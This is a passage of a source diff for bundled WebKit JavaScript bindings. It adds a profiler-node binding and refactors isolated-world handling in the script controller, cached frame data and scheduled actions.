@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2008 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JavaScriptProfileNode.h"
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+
+#include "JSDOMBinding.h"
+#include <JavaScriptCore/APICast.h>
+#include <JavaScriptCore/JSContextRef.h>
+#include <JavaScriptCore/JSObjectRef.h>
+#include <JavaScriptCore/JSRetainPtr.h>
+#include <JavaScriptCore/JSStringRef.h>
+#include <profiler/ProfileNode.h>
+#include <runtime/JSLock.h>
+#include <runtime/JSValue.h>
+#include <wtf/StdLibExtras.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+// Cache
+
+typedef HashMap<ProfileNode*, JSObject*> ProfileNodeMap;
+
+static ProfileNodeMap& profileNodeCache()
+{
+    DEFINE_STATIC_LOCAL(ProfileNodeMap, staticProfileNodes, ());
+    return staticProfileNodes;
+}
+
+static JSValueRef getFunctionName(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    ProfileNode* profileNode = static_cast<ProfileNode*>(JSObjectGetPrivate(thisObject));
+    JSRetainPtr<JSStringRef> functionNameString(Adopt, JSStringCreateWithCharacters(profileNode->functionName().data(), profileNode->functionName().size()));
+    return JSValueMakeString(ctx, functionNameString.get());
+}
+
+static JSValueRef getURL(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    ProfileNode* profileNode = static_cast<ProfileNode*>(JSObjectGetPrivate(thisObject));
+    JSRetainPtr<JSStringRef> urlString(Adopt, JSStringCreateWithCharacters(profileNode->url().data(), profileNode->url().size()));
+    return JSValueMakeString(ctx, urlString.get());
+}
+
+static JSValueRef getLineNumber(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    ProfileNode* profileNode = static_cast<ProfileNode*>(JSObjectGetPrivate(thisObject));
+    return JSValueMakeNumber(ctx, profileNode->lineNumber());
+}
+
+static JSValueRef getTotalTime(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    JSC::JSLock lock(SilenceAssertionsOnly);
+
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    ProfileNode* profileNode = static_cast<ProfileNode*>(JSObjectGetPrivate(thisObject));
+    return JSValueMakeNumber(ctx, profileNode->totalTime());
+}
+
+static JSValueRef getSelfTime(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    JSC::JSLock lock(SilenceAssertionsOnly);
+
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    ProfileNode* profileNode = static_cast<ProfileNode*>(JSObjectGetPrivate(thisObject));
+    return JSValueMakeNumber(ctx, profileNode->selfTime());
+}
+
+static JSValueRef getNumberOfCalls(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    JSC::JSLock lock(SilenceAssertionsOnly);
+
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    ProfileNode* profileNode = static_cast<ProfileNode*>(JSObjectGetPrivate(thisObject));
+    return JSValueMakeNumber(ctx, profileNode->numberOfCalls());
+}
+
+static JSValueRef getChildren(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef* exception)
+{
+    JSC::JSLock lock(SilenceAssertionsOnly);
+
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    ProfileNode* profileNode = static_cast<ProfileNode*>(JSObjectGetPrivate(thisObject));
+    const Vector<RefPtr<ProfileNode> >& children = profileNode->children();
+
+    JSObjectRef global = JSContextGetGlobalObject(ctx);
+
+    JSRetainPtr<JSStringRef> arrayString(Adopt, JSStringCreateWithUTF8CString("Array"));
+
+    JSValueRef arrayProperty = JSObjectGetProperty(ctx, global, arrayString.get(), exception);
+    if (exception && *exception)
+        return JSValueMakeUndefined(ctx);
+
+    JSObjectRef arrayConstructor = JSValueToObject(ctx, arrayProperty, exception);
+    if (exception && *exception)
+        return JSValueMakeUndefined(ctx);
+
+    JSObjectRef result = JSObjectCallAsConstructor(ctx, arrayConstructor, 0, 0, exception);
+    if (exception && *exception)
+        return JSValueMakeUndefined(ctx);
+
+    JSRetainPtr<JSStringRef> pushString(Adopt, JSStringCreateWithUTF8CString("push"));
+
+    JSValueRef pushProperty = JSObjectGetProperty(ctx, result, pushString.get(), exception);
+    if (exception && *exception)
+        return JSValueMakeUndefined(ctx);
+
+    JSObjectRef pushFunction = JSValueToObject(ctx, pushProperty, exception);
+    if (exception && *exception)
+        return JSValueMakeUndefined(ctx);
+
+    ExecState* exec = toJS(ctx);
+    for (Vector<RefPtr<ProfileNode> >::const_iterator it = children.begin(); it != children.end(); ++it) {
+        JSValueRef arg0 = toRef(exec, toJS(exec, (*it).get() ));
+        JSObjectCallAsFunction(ctx, pushFunction, result, 1, &arg0, exception);
+        if (exception && *exception)
+            return JSValueMakeUndefined(ctx);
+    }
+
+    return result;
+}
+
+static JSValueRef getVisible(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    JSC::JSLock lock(SilenceAssertionsOnly);
+
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    ProfileNode* profileNode = static_cast<ProfileNode*>(JSObjectGetPrivate(thisObject));
+    return JSValueMakeBoolean(ctx, profileNode->visible());
+}
+
+static JSValueRef getCallUID(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    JSC::JSLock lock(SilenceAssertionsOnly);
+
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    ProfileNode* profileNode = static_cast<ProfileNode*>(JSObjectGetPrivate(thisObject));
+    return JSValueMakeNumber(ctx, profileNode->callIdentifier().hash());
+}
+
+static void finalize(JSObjectRef object)
+{
+    ProfileNode* profileNode = static_cast<ProfileNode*>(JSObjectGetPrivate(object));
+    profileNodeCache().remove(profileNode);
+    profileNode->deref();
+}
+
+JSClassRef ProfileNodeClass()
+{
+    static JSStaticValue staticValues[] = {
+        { "functionName", getFunctionName, 0, kJSPropertyAttributeNone },
+        { "url", getURL, 0, kJSPropertyAttributeNone },
+        { "lineNumber", getLineNumber, 0, kJSPropertyAttributeNone },
+        { "totalTime", getTotalTime, 0, kJSPropertyAttributeNone },
+        { "selfTime", getSelfTime, 0, kJSPropertyAttributeNone },
+        { "numberOfCalls", getNumberOfCalls, 0, kJSPropertyAttributeNone },
+        { "children", getChildren, 0, kJSPropertyAttributeNone },
+        { "visible", getVisible, 0, kJSPropertyAttributeNone },
+        { "callUID", getCallUID, 0, kJSPropertyAttributeNone },
+        { 0, 0, 0, 0 }
+    };
+
+    static JSClassDefinition classDefinition = {
+        0, kJSClassAttributeNone, "ProfileNode", 0, staticValues, 0,
+        0, finalize, 0, 0, 0, 0, 0, 0, 0, 0, 0
+    };
+
+    static JSClassRef profileNodeClass = JSClassCreate(&classDefinition);
+    return profileNodeClass;
+}
+
+JSValue toJS(ExecState* exec, ProfileNode* profileNode)
+{
+    if (!profileNode)
+        return jsNull();
+
+    JSObject* profileNodeWrapper = profileNodeCache().get(profileNode);
+    if (profileNodeWrapper)
+        return profileNodeWrapper;
+
+    profileNode->ref();
+
+    profileNodeWrapper = toJS(JSObjectMake(toRef(exec), ProfileNodeClass(), static_cast<void*>(profileNode)));
+    profileNodeCache().set(profileNode, profileNodeWrapper);
+    return profileNodeWrapper;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(JAVASCRIPT_DEBUGGER)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfileNode.h b/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfileNode.h
new file mode 100644
index 0000000..f01be19
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfileNode.h
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2008 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JavaScriptProfileNode_h
+#define JavaScriptProfileNode_h
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+
+#include <JavaScriptCore/JSBase.h>
+#include <runtime/JSValue.h>
+
+namespace JSC {
+class ExecState;
+class ProfileNode;
+}
+
+namespace WebCore {
+
+JSClassRef ProfileNodeClass();
+JSC::JSValue toJS(JSC::ExecState*, JSC::ProfileNode*);
+
+} // namespace WebCore
+
+#endif // ENABLE(JAVASCRIPT_DEBUGGER)
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScheduledAction.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScheduledAction.cpp
index 9a21b6b..6dea50e 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScheduledAction.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScheduledAction.cpp
@@ -47,7 +47,7 @@ using namespace JSC;
 
 namespace WebCore {
 
-ScheduledAction* ScheduledAction::create(ExecState* exec, const ArgList& args, DOMWrapperWorld* isolatedWorld)
+PassOwnPtr<ScheduledAction> ScheduledAction::create(ExecState* exec, const ArgList& args, DOMWrapperWorld* isolatedWorld)
 {
     JSValue v = args.at(0);
     CallData callData;
@@ -103,7 +103,7 @@ void ScheduledAction::executeFunctionInContext(JSGlobalObject* globalObject, JSV
         args.append(m_args[i]);
 
     globalObject->globalData()->timeoutChecker.start();
-    callInWorld(exec, m_function, callType, callData, thisValue, args, m_isolatedWorld.get());
+    JSC::call(exec, m_function, callType, callData, thisValue, args);
     globalObject->globalData()->timeoutChecker.stop();
 
     if (exec->hadException())
@@ -117,7 +117,7 @@ void ScheduledAction::execute(Document* document)
         return;
 
     RefPtr<Frame> frame = window->impl()->frame();
-    if (!frame || !frame->script()->isEnabled())
+    if (!frame || !frame->script()->canExecuteScripts(AboutToExecuteScript))
         return;
 
     frame->script()->setProcessingTimerCallback(true);
@@ -126,7 +126,7 @@ void ScheduledAction::execute(Document* document)
         executeFunctionInContext(window, window->shell());
         Document::updateStyleForAllDocuments();
     } else
-        frame->script()->executeScriptInIsolatedWorld(m_isolatedWorld.get(), m_code);
+        frame->script()->executeScriptInWorld(m_isolatedWorld.get(), m_code);
 
     frame->script()->setProcessingTimerCallback(false);
 }
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScheduledAction.h b/src/3rdparty/webkit/WebCore/bindings/js/ScheduledAction.h
index 4ea727d..3b7e001 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScheduledAction.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScheduledAction.h
@@ -24,6 +24,7 @@
 #include <JSDOMBinding.h>
 #include <runtime/JSCell.h>
 #include <runtime/Protect.h>
+#include <wtf/PassOwnPtr.h>
 #include <wtf/Vector.h>
 
 namespace JSC {
@@ -40,9 +41,9 @@ namespace WebCore {
     * time interval, either once or repeatedly. Used for window.setTimeout()
     * and window.setInterval()
     */
-    class ScheduledAction {
+    class ScheduledAction : public Noncopyable {
     public:
-        static ScheduledAction* create(JSC::ExecState*, const JSC::ArgList&, DOMWrapperWorld* isolatedWorld);
+        static PassOwnPtr<ScheduledAction> create(JSC::ExecState*, const JSC::ArgList&, DOMWrapperWorld* isolatedWorld);
 
         void execute(ScriptExecutionContext*);
 
@@ -56,7 +57,7 @@ namespace WebCore {
 
         void executeFunctionInContext(JSC::JSGlobalObject*, JSC::JSValue thisValue);
         void execute(Document*);
-#if ENABLE(WORKERS)        
+#if ENABLE(WORKERS)
         void execute(WorkerContext*);
 #endif
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptArray.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptArray.cpp
index 2c4075a..caecc40 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptArray.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptArray.cpp
@@ -53,6 +53,10 @@ static bool handleException(ScriptState* scriptState)
 
 bool ScriptArray::set(unsigned index, const ScriptObject& value)
 {
+    if (value.scriptState() != m_scriptState) {
+        ASSERT_NOT_REACHED();
+        return false;
+    }
     JSLock lock(SilenceAssertionsOnly);
     jsArray()->put(m_scriptState, index, value.jsObject());
     return handleException(m_scriptState);
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptCachedFrameData.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptCachedFrameData.cpp
index e01324e..16f18d3 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptCachedFrameData.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptCachedFrameData.cpp
@@ -44,19 +44,26 @@ using namespace JSC;
 namespace WebCore {
 
 ScriptCachedFrameData::ScriptCachedFrameData(Frame* frame)
+    : m_domWindow(0)
 {
     JSLock lock(SilenceAssertionsOnly);
 
     ScriptController* scriptController = frame->script();
-    // FIXME: explicitly save and restore isolated worlds' global objects when using the back/forward cache. <rdar://problem/7328111>
-    if (JSDOMWindowShell* windowShell = scriptController->existingWindowShell(mainThreadNormalWorld())) {
-        m_window = windowShell->window();
-        scriptController->attachDebugger(0);
+    ScriptController::ShellMap& windowShells = scriptController->m_windowShells;
+
+    ScriptController::ShellMap::iterator windowShellsEnd = windowShells.end();
+    for (ScriptController::ShellMap::iterator iter = windowShells.begin(); iter != windowShellsEnd; ++iter) {
+        JSDOMWindow* window = iter->second->window();
+        m_windows.add(iter->first.get(), window);
+        m_domWindow = window->impl();
     }
+
+    scriptController->attachDebugger(0);
 }
 
-DOMWindow* ScriptCachedFrameData::domWindow() const {
-    return m_window ? m_window->impl() : 0;
+DOMWindow* ScriptCachedFrameData::domWindow() const
+{
+    return m_domWindow;
 }
 
 ScriptCachedFrameData::~ScriptCachedFrameData()
@@ -66,31 +73,37 @@ ScriptCachedFrameData::~ScriptCachedFrameData()
 
 void ScriptCachedFrameData::restore(Frame* frame)
 {
-    Page* page = frame->page();
-
     JSLock lock(SilenceAssertionsOnly);
 
     ScriptController* scriptController = frame->script();
-    // FIXME: explicitly save and restore isolated worlds' global objects when using the back/forward cache. <rdar://problem/7328111>
-    if (JSDOMWindowShell* windowShell = scriptController->existingWindowShell(mainThreadNormalWorld())) {
-        if (m_window)
-            windowShell->setWindow(m_window.get());
+    ScriptController::ShellMap& windowShells = scriptController->m_windowShells;
+
+    ScriptController::ShellMap::iterator windowShellsEnd = windowShells.end();
+    for (ScriptController::ShellMap::iterator iter = windowShells.begin(); iter != windowShellsEnd; ++iter) {
+        DOMWrapperWorld* world = iter->first.get();
+        JSDOMWindowShell* windowShell = iter->second.get();
+
+        if (JSDOMWindow* window = m_windows.get(world))
+            windowShell->setWindow(window);
         else {
             windowShell->setWindow(frame->domWindow());
-            scriptController->attachDebugger(page->debugger());
-            windowShell->window()->setProfileGroup(page->group().identifier());
+
+            if (Page* page = frame->page()) {
+                scriptController->attachDebugger(windowShell, page->debugger());
+                windowShell->window()->setProfileGroup(page->group().identifier());
+            }
         }
     }
 }
 
 void ScriptCachedFrameData::clear()
 {
-    JSLock lock(SilenceAssertionsOnly);
+    if (m_windows.isEmpty())
+        return;
 
-    if (m_window) {
-        m_window = 0;
-        gcController().garbageCollectSoon();
-    }
+    JSLock lock(SilenceAssertionsOnly);
+    m_windows.clear();
+    gcController().garbageCollectSoon();
 }
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptCachedFrameData.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptCachedFrameData.h
index c661f28..15c23c5 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptCachedFrameData.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptCachedFrameData.h
@@ -38,8 +38,11 @@ namespace WebCore {
     class Frame;
     class JSDOMWindow;
     class DOMWindow;
+    class DOMWrapperWorld;
+
+    class ScriptCachedFrameData  : public Noncopyable {
+        typedef HashMap< RefPtr<DOMWrapperWorld>, JSC::ProtectedPtr<JSDOMWindow> > JSDOMWindowSet;
 
-    class ScriptCachedFrameData  {
     public:
         ScriptCachedFrameData(Frame*);
         ~ScriptCachedFrameData();
@@ -49,7 +52,8 @@ namespace WebCore {
         DOMWindow* domWindow() const;
 
     private:
-        JSC::ProtectedPtr<JSDOMWindow> m_window;
+        JSDOMWindowSet m_windows;
+        DOMWindow* m_domWindow;
     };
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptCallStack.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptCallStack.cpp
index 021ede5..c8eadd1 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptCallStack.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptCallStack.cpp
@@ -54,14 +54,15 @@ ScriptCallStack::ScriptCallStack(ExecState* exec, const ArgList& args, unsigned
 
     exec->interpreter()->retrieveLastCaller(exec, signedLineNumber, sourceID, urlString, function);
 
+    unsigned lineNumber = signedLineNumber >= 0 ? signedLineNumber : 0;
+
     if (function) {
         m_caller = asInternalFunction(function);
-        unsigned lineNumber = signedLineNumber >= 0 ? signedLineNumber : 0;
-        m_frames.append(ScriptCallFrame(m_caller->name(&m_exec->globalData()), urlString, lineNumber, args, skipArgumentCount));
+        m_frames.append(ScriptCallFrame(m_caller->name(m_exec), urlString, lineNumber, args, skipArgumentCount));
     } else {
         // Caller is unknown, but we should still add the frame, because
         // something called us, and gave us arguments.
-        m_frames.append(ScriptCallFrame(UString(), UString(), 0, args, skipArgumentCount));
+        m_frames.append(ScriptCallFrame(UString(), urlString, lineNumber, args, skipArgumentCount));
     }
 }
 
@@ -94,10 +95,15 @@ void ScriptCallStack::initialize()
     while (!func.isNull()) {
         InternalFunction* internalFunction = asInternalFunction(func);
         ArgList emptyArgList;
-        m_frames.append(ScriptCallFrame(internalFunction->name(&m_exec->globalData()), UString(), 0, emptyArgList, 0));
+        m_frames.append(ScriptCallFrame(internalFunction->name(m_exec), UString(), 0, emptyArgList, 0));
         func = m_exec->interpreter()->retrieveCaller(m_exec, internalFunction);
     }
     m_initialized = true;
 }
 
+bool ScriptCallStack::callLocation(String*, int*)
+{
+    return false;
+}
+
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptCallStack.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptCallStack.h
index 1907564..f5f8ae0 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptCallStack.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptCallStack.h
@@ -49,9 +49,11 @@ namespace WebCore {
         ~ScriptCallStack();
 
         ScriptState* state() const { return m_exec; }
+        ScriptState* globalState() const { return m_exec->lexicalGlobalObject()->globalExec(); }
         // frame retrieval methods
         const ScriptCallFrame &at(unsigned);
         unsigned size();
+        static bool callLocation(String*, int*);
 
     private:
         void initialize();
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptController.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptController.cpp
index 4a1d413..f6b779a 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptController.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptController.cpp
@@ -25,8 +25,10 @@
 #include "Event.h"
 #include "EventNames.h"
 #include "Frame.h"
+#include "FrameLoaderClient.h"
 #include "GCController.h"
 #include "HTMLPlugInElement.h"
+#include "InspectorTimelineAgent.h"
 #include "JSDocument.h"
 #include "NP_jsobject.h"
 #include "Page.h"
@@ -35,6 +37,7 @@
 #include "ScriptValue.h"
 #include "Settings.h"
 #include "StorageNamespace.h"
+#include "WebCoreJSClientData.h"
 #include "XSSAuditor.h"
 #include "npruntime_impl.h"
 #include "runtime_root.h"
@@ -43,6 +46,7 @@
 #include <runtime/JSLock.h>
 
 using namespace JSC;
+using namespace std;
 
 namespace WebCore {
 
@@ -79,9 +83,6 @@ ScriptController::ScriptController(Frame* frame)
 ScriptController::~ScriptController()
 {
     if (!m_windowShells.isEmpty()) {
-        for (ShellMap::iterator iter = m_windowShells.begin(); iter != m_windowShells.end(); ++iter)
-            iter->first->forgetScriptController(this);
-
         m_windowShells.clear();
     
         // It's likely that releasing the global object has created a lot of garbage.
@@ -102,7 +103,7 @@ ScriptValue ScriptController::evaluateInWorld(const ScriptSourceCode& sourceCode
     }
 
     // evaluate code. Returns the JS return value or 0
-    // if there was none, an error occured or the type couldn't be converted.
+    // if there was none, an error occurred or the type couldn't be converted.
 
     // inlineCode is true for <a href="javascript:doSomething()">
     // and false for <script>doSomething()</script>. Check if it has the
@@ -117,10 +118,20 @@ ScriptValue ScriptController::evaluateInWorld(const ScriptSourceCode& sourceCode
 
     RefPtr<Frame> protect = m_frame;
 
+#if ENABLE(INSPECTOR)
+    if (InspectorTimelineAgent* timelineAgent = m_frame->page() ? m_frame->page()->inspectorTimelineAgent() : 0)
+        timelineAgent->willEvaluateScript(sourceURL, sourceCode.startLine());
+#endif
+
     exec->globalData().timeoutChecker.start();
-    Completion comp = WebCore::evaluateInWorld(exec, exec->dynamicGlobalObject()->globalScopeChain(), jsSourceCode, shell, world);
+    Completion comp = JSC::evaluate(exec, exec->dynamicGlobalObject()->globalScopeChain(), jsSourceCode, shell);
     exec->globalData().timeoutChecker.stop();
 
+#if ENABLE(INSPECTOR)
+    if (InspectorTimelineAgent* timelineAgent = m_frame->page() ? m_frame->page()->inspectorTimelineAgent() : 0)
+        timelineAgent->didEvaluateScript();
+#endif
+
     // Evaluating the JavaScript could cause the frame to be deallocated
     // so we start the keep alive timer here.
     m_frame->keepAlive();
@@ -145,53 +156,26 @@ ScriptValue ScriptController::evaluate(const ScriptSourceCode& sourceCode)
 // An DOMWrapperWorld other than the thread's normal world.
 class IsolatedWorld : public DOMWrapperWorld {
 public:
+    static PassRefPtr<IsolatedWorld> create(JSGlobalData* globalData) { return adoptRef(new IsolatedWorld(globalData)); }
+
+protected:
     IsolatedWorld(JSGlobalData* globalData)
-        : DOMWrapperWorld(globalData)
+        : DOMWrapperWorld(globalData, false)
     {
         JSGlobalData::ClientData* clientData = globalData->clientData;
         ASSERT(clientData);
         static_cast<WebCoreJSClientData*>(clientData)->rememberWorld(this);
     }
-
-    static PassRefPtr<IsolatedWorld> create(JSGlobalData* globalData) { return adoptRef(new IsolatedWorld(globalData)); }
 };
 
-static PassRefPtr<IsolatedWorld> findWorld(unsigned worldID)
+PassRefPtr<DOMWrapperWorld> ScriptController::createWorld()
 {
-    if (!worldID)
-        return IsolatedWorld::create(JSDOMWindow::commonJSGlobalData());
-
-    typedef HashMap<unsigned, RefPtr<IsolatedWorld> > WorldMap;
-    DEFINE_STATIC_LOCAL(WorldMap, isolatedWorlds, ());
-
-    WorldMap::iterator iter = isolatedWorlds.find(worldID);
-    if (iter != isolatedWorlds.end())
-        return iter->second;
-
-    RefPtr<IsolatedWorld> newWorld = IsolatedWorld::create(JSDOMWindow::commonJSGlobalData());
-    isolatedWorlds.add(worldID, newWorld);
-    return newWorld;
+    return IsolatedWorld::create(JSDOMWindow::commonJSGlobalData());
 }
 
-JSDOMWindow* ScriptController::globalObject(unsigned worldID)
+void ScriptController::getAllWorlds(Vector<DOMWrapperWorld*>& worlds)
 {
-    RefPtr<DOMWrapperWorld> world = findWorld(worldID);
-    return windowShell(world.get())->window();
-}
-
-ScriptValue ScriptController::evaluateInIsolatedWorld(unsigned worldID, const ScriptSourceCode& sourceCode) 
-{
-    RefPtr<DOMWrapperWorld> world = findWorld(worldID);
-    return evaluateInWorld(sourceCode, world.get());
-}
-
-void ScriptController::evaluateInIsolatedWorld(unsigned worldID, const Vector<ScriptSourceCode>& sourceCode) 
-{
-    RefPtr<DOMWrapperWorld> world = findWorld(worldID);
-
-    unsigned size = sourceCode.size();
-    for (unsigned i = 0; i < size; ++i)
-        evaluateInWorld(sourceCode[i], world.get());
+    static_cast<WebCoreJSClientData*>(JSDOMWindow::commonJSGlobalData()->clientData)->getAllWorlds(worlds);
 }
 
 void ScriptController::clearWindowShell()
@@ -201,19 +185,17 @@ void ScriptController::clearWindowShell()
 
     JSLock lock(SilenceAssertionsOnly);
 
-    // Clear the debugger from the current window before setting the new window.
-    DOMWrapperWorld* debugWorld = debuggerWorld();
-    attachDebugger(0);
-
     for (ShellMap::iterator iter = m_windowShells.begin(); iter != m_windowShells.end(); ++iter) {
-        DOMWrapperWorld* world = iter->first;
         JSDOMWindowShell* windowShell = iter->second;
+
+        // Clear the debugger from the current window before setting the new window.
+        attachDebugger(windowShell, 0);
+
         windowShell->window()->willRemoveFromWindowShell();
         windowShell->setWindow(m_frame->domWindow());
 
         if (Page* page = m_frame->page()) {
-            if (world == debugWorld)
-                attachDebugger(page->debugger());
+            attachDebugger(windowShell, page->debugger());
             windowShell->window()->setProfileGroup(page->group().identifier());
         }
     }
@@ -228,53 +210,33 @@ JSDOMWindowShell* ScriptController::initScript(DOMWrapperWorld* world)
 
     JSLock lock(SilenceAssertionsOnly);
 
-    JSDOMWindowShell* windowShell = new JSDOMWindowShell(m_frame->domWindow());
+    JSDOMWindowShell* windowShell = new JSDOMWindowShell(m_frame->domWindow(), world);
     m_windowShells.add(world, windowShell);
-    world->rememberScriptController(this);
-    windowShell->window()->updateDocument(world);
+    windowShell->window()->updateDocument();
 
     if (Page* page = m_frame->page()) {
-        if (world == debuggerWorld())
-            attachDebugger(page->debugger());
+        attachDebugger(windowShell, page->debugger());
         windowShell->window()->setProfileGroup(page->group().identifier());
     }
 
-    {
-        EnterDOMWrapperWorld worldEntry(*JSDOMWindow::commonJSGlobalData(), world);
-        m_frame->loader()->dispatchWindowObjectAvailable();
-    }
+    m_frame->loader()->dispatchDidClearWindowObjectInWorld(world);
 
     return windowShell;
 }
 
-bool ScriptController::processingUserGesture() const
+bool ScriptController::processingUserGesture(DOMWrapperWorld* world) const
 {
-    return m_allowPopupsFromPlugin || processingUserGestureEvent() || isJavaScriptAnchorNavigation();
+    return m_allowPopupsFromPlugin || processingUserGestureEvent(world) || isJavaScriptAnchorNavigation();
 }
 
-bool ScriptController::processingUserGestureEvent() const
+bool ScriptController::processingUserGestureEvent(DOMWrapperWorld* world) const
 {
-    JSDOMWindowShell* shell = existingWindowShell(mainThreadNormalWorld());
+    JSDOMWindowShell* shell = existingWindowShell(world);
     if (!shell)
         return false;
 
